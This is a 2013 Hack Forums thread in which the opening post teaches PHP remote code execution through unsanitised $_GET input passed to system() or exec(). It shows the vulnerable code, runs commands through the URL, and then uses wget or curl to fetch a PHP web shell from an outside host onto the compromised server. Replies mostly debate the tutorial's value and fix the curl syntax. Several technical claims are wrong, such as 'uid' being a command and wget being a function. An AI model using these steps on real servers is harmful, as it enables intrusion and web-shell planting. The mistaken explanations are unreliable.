[Tutorial] - RCE (Remote Code Execution) - [Tutorial]

[Tutorial] - RCE (Remote Code Execution) - [Tutorial] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [Tutorial] - RCE (Remote Code Execution) - [Tutorial] (/showthread.php?tid=3917953)

Pages: Pages 1 2

[Tutorial] - RCE (Remote Code Execution) - [Tutorial] - BeggFoMercy - Dec 9, 2013

Hi , Without being pathetic and starting with subtitles , I'll start the tutorial instantly.

What is Remote Code Execution (RCE) :

RCE Is a vulnerability that affects PHP $GET Function , As most of us know , If the scripter uses a $_GET function into his code It means that the url will actually get formatted as the user asks for,As the informations sent by the webserver will be visible to any one in the url , Example :

PHP Code 


<?php 
http://www.site.com/index.php?id=1 

That's a simple example of what $_GET PHP function does .

How Does Remote Code Execution affect a script :

PHP Code 


<?php
$command=$_GET['command'];
system($command);
?>

That was a simple PHP script that has an RCE exploit flaw , It's pretty obvious to any PHP coder how the script works , But I'll explain it ,

Firstly we assign the variable $command to the $_GET function and give it a parameter " command " , Then the $command variable is being used as a parameter into the system(); , So that the user will be able to execute any thing via the $_GET function into the system(); Which is pretty exploitable .

So If we get to use the script some how , Our url will look like :

PHP Code 


<?php 
somepage.php?command=whatever 

In our case It'll be pretty easy to exploit it as the command parameter passes through the system(); function , So any thing that the user add after the "command=" will go through the system(); function , So a simple knowledge with Linux commands will get your path through success .

Another simple example :

PHP Code 


<?php
$command=$_GET['command'];
echo exec($command);
?>

This case is apparentley the same as the above one , In this case it just uses the exec() function instead of the system() function to get the user's insertion into a shell command .

Exploitation

Let's try exploiting it by running simple linux commands to the url parameter " command= " , For example :

PHP Code 


<?php 
whoami <--- Reads the Internet socket to show if you have the privileges of root or not , As it will just tell you that you only have the privileges of Apache , If you are root , It will tell you that you're root , 0 = Root
uid <--- Fetchs you'r ID 

That was just some simple Linux commands that usually every one uses .
By useing any of them on the URL like this :

PHP Code 


<?php 
somepage.php?command=uid 

Results :

Code 
uid=12345(someuser) gid=12(users)

Now It fetched our ID .

Now To managely exploit this you will have to use the wget function to get a shell spawned into the webserver .
To do this you'll need to use the famous wget() function wget() can be used to download a various files into a control gained server , For example

PHP Code 


<?php 
wget http://www.site.com/shell.txt -O shell.php 

What this command does that it gets your shell.txt (source code of your php shell) downloaded then renamed by the "-O" Option to shell.php to allow your php shell to be executed .

You can also use cURL(); function like so

PHP Code 


<?php 
curl -O http://www.site.com/shell.txt shell.php 

There's more than those 2 ways of finding RCE Exploits in a PHP script , I might write some more tutorials about exploiting RCEs .
Excuse me If the tutorial wasn't good enough , But expect way better tutorials next time .

Best regards ,
BeggFoMercy/UnSp0k3n

* - John Rogers - Dec 9, 2013

This isn't really that helpful, you should use a real vulnerability (in like a, MyBB plugin or something) as an example, that would help people get the idea more. :)

* - Th3PonyWizard - Dec 9, 2013

The concept is there, but I'd note that this sort of pure RCE attack is simply surreal. By methods such as LFI, RFI, etc you archive RCE which is dis. Don't know know why you're forcing yourself to stay on GET, as it'll be the same over any form of user input c:

* - BeggFoMercy - Dec 9, 2013

That's why I pointed this

Code 
There's more than those 2 ways of finding RCE Exploits in a PHP script , I might write some more tutorials about exploiting RCEs 

.

I still get your point .

* - SIM-1241186 - Dec 9, 2013

(Dec 9, 2013 11:48 AM)John Rogers Wrote: This isn't really that helpful, you should use a real vulnerability (in like a, MyBB plugin or something) as an example, that would help people get the idea more. :)

What the hell are you talking about?
This tutorial made perfect sense, and was completely helpful. The only difference is OP didn't provide PoC (Proof Of Concept) for how you could possibly use this against forums.

The tutorial was for "Remote Code Execution", not "MyBB RCE 0day".

Does this tutorial accurately explain the concept of RCE? - Yes.
Could anyone reading this now obtain RCE providing they've found the correct conditions? - Yes.

Thread was helpful.

* - pashabiceps - Dec 9, 2013

Couple of things here:

It doesn't necessarily imply that it's web based, but it's understandable since this is the Web Hacking Section.

"whatever=uid"

Code
poop 2.6.9-34.ELsmp #1 SMP Fri Feb 24 16:54:53 EST 2006 i686

You mean
ORLY, I CAN'T FUCKING POST "u**** -a" ON HF WITHOUT GETTING BLOCKED?

wget isn't a function.

* - John Rogers - Dec 9, 2013

(Dec 9, 2013 11:56 AM)hackforumspang Wrote: What the hell are you talking about?
This tutorial made perfect sense, and was completely helpful. The only difference is OP didn't provide PoC (Proof Of Concept) for how you could possibly use this against forums.

The tutorial was for "Remote Code Execution", not "MyBB RCE 0day".

Does this tutorial accurately explain the concept of RCE? - Yes.
Could anyone reading this now obtain RCE providing they've found the correct conditions? - Yes.

Thread was helpful.

;_;
I am saying that OP should have used an actual real world vulnerability as an example, this would give people an idea of auditing code. I said MyBB plugin as a suggestion, not prompting him to release a 0day for MyBB...

You can learn more from reading an article or whitepaper on the subject. Either make a good tutorial, or don't make one at all.
:C

* - Cathal - Dec 9, 2013

Not to be that one dick, but does this really require a tutorial? This is essentially an explanation of unrealistic sample code, and three bash commands..

* - cheatson - Dec 9, 2013

Basic but good for newcomers to get the gist. Btw, you referred to $_GET as a function (which is a superglobal variable not a function!)- nit-picking!

* - Blackhawk. - Dec 9, 2013

Nice basic concept of RCE.... :)

Thanks UnSp0k3n....Looking for more like this...Keep Going ;)

Anyways the curl command needs to be adjusted to the following :-

Code 
curl http://www.site.com/shell.txt > shell.php

Regards,
Blackhawk

* - BeggFoMercy - Dec 9, 2013

(Dec 9, 2013 01:13 PM)Blackhawk. Wrote: Nice basic concept of RCE.... :)

Thanks UnSp0k3n....Looking for more like this...Keep Going ;)

Anyways the curl command needs to be adjusted to the following :-

Code
curl http://www.site.com/shell.txt > shell.php

Regards,
Blackhawk

Uhmm I don't think that the curl command needs to be adjusted , I've tested it several times and it worked flawesly .

* - Blackhawk. - Dec 9, 2013

Look the following part in tutorial :-

The following :-

Code 
You can also use cURL(); function like so 

wget -O http://www.site.com/shell.txt shell.php

Should be changed to :-

Code 
curl http://www.site.com/shell.txt > shell.php

I think you mistakenly wrote wget instead of curl :)

Thanks.

* - BeggFoMercy - Dec 9, 2013

(Dec 9, 2013 01:27 PM)Blackhawk. Wrote: Look the following part in tutorial :-

The following :-

Code
You can also use cURL(); function like so wget -O http://www.site.com/shell.txt shell.php

Should be changed to :-

Code
curl http://www.site.com/shell.txt > shell.php

I think you mistakenly wrote wget instead of curl :)

Thanks.

I see your point now , Thanks for pointing me out .

* - Im gone brah - Dec 9, 2013

Remember my question? Diffrence between RCE and RCE, Glad your back bro.

* - Hannibal Rising - Dec 9, 2013

Thank you for the tutorial, OP.
Might be useful, somehow.